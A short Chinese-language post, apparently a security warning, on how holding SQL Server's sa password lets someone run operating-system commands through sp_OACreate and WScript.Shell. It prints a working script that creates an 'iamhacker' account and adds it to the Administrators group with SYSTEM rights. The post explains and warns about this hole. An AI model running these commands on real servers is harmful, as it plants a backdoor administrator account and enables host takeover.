SQL SERVER存在著非常嚴重的安全隱患。sa的密碼就像Administrator的密碼一樣重要。 假如別人獲得了數據庫超級用戶sa的密碼，那麼他/她可以在查詢分析器裡使用下面的SQL語句輕易在Win2000(SQL SERVER所在的Server)上創建一個超級用戶： declare @object int --創建WScript.Shell EXEC sp_OACreate 'WScript.Shell',@object OUT --運行net user iamhacker opendoor /add --添加一個名字為iamhacker,密碼為opendoor的用戶 EXEC sp_OAMethod @object,'Run',NULL,'net user iamhacker opendoor /add' --把iamhacker添加到Administrators組中 EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Administrators iamhacker /add' --把iamhacker從User組中刪除 EXEC sp_OAMethod @object,'Run',NULL,'net localgroup Users iamhacker /del' 我已經嘗試過了。。實在太恐怖了。 上面的語句很短。核心是能夠調用平台命令 net 。 其實現方法是SQL SERVER調用COM Automation的強大功能。再配合WSH中的一個對象WScript.Shell的一個方法：Run。（注意，一般SQL SERVER都是配置在SYSTEM的權限下運行的。也就是說，，Run所調用的程序也是具有SYSTEM的權限。） （相關的實驗是，調用一下NOTEPAD,那麼任務管理器下將有用戶為SYSTEM的NOTEPAD。EXE進程存在） WScript.Shell的隱患其實已經在各個方面很顯著了。想不到現在竟然在Sql Server上也有相關的問題。
